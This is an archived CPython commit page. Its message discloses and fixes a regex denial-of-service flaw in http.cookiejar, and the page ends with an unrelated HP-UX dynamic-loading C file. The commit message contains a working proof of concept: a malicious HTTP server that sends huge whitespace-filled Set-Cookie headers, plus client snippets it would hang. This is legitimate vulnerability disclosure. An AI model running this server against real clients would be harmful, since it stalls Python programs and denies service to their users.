Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC, committed by GitHub on 22 November 2019, 14:42:13 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent d4d7920
Tip revision: cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: cb60851
dynload_hpux.c
/* Support for dynamic loading of extension modules */
#include "dl.h"
#include <errno.h>
#include "Python.h"
#include "importdl.h"
#if defined(__hp9000s300)
#define FUNCNAME_PATTERN "_%.20s_%.200s"
#else
#define FUNCNAME_PATTERN "%.20s_%.200s"
#endif
const char *_PyImport_DynLoadFiletab[] = {SHLIB_EXT, NULL};
dl_funcptr _PyImport_FindSharedFuncptr(const char *prefix,
const char *shortname,
const char *pathname, FILE *fp)
{
dl_funcptr p;
shl_t lib;
int flags;
char funcname[258];
flags = BIND_FIRST | BIND_DEFERRED;
if (Py_VerboseFlag) {
flags = BIND_FIRST | BIND_IMMEDIATE |
BIND_NONFATAL | BIND_VERBOSE;
printf("shl_load %s\n",pathname);
}
lib = shl_load(pathname, flags, 0);
/* XXX Chuck Blake once wrote that 0 should be BIND_NOSTART? */
if (lib == NULL) {
char buf[256];
PyObject *pathname_ob = NULL;
PyObject *buf_ob = NULL;
PyObject *shortname_ob = NULL;
if (Py_VerboseFlag)
perror(pathname);
PyOS_snprintf(buf, sizeof(buf), "Failed to load %.200s",
pathname);
buf_ob = PyUnicode_FromString(buf);
shortname_ob = PyUnicode_FromString(shortname);
pathname_ob = PyUnicode_FromString(pathname);
PyErr_SetImportError(buf_ob, shortname_ob, pathname_ob);
Py_DECREF(buf_ob);
Py_DECREF(shortname_ob);
Py_DECREF(pathname_ob);
return NULL;
}
PyOS_snprintf(funcname, sizeof(funcname), FUNCNAME_PATTERN,
prefix, shortname);
if (Py_VerboseFlag)
printf("shl_findsym %s\n", funcname);
if (shl_findsym(&lib, funcname, TYPE_UNDEFINED, (void *) &p) == -1) {
shl_unload(lib);
p = NULL;
}
if (p == NULL && Py_VerboseFlag)
perror(funcname);
return p;
}
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...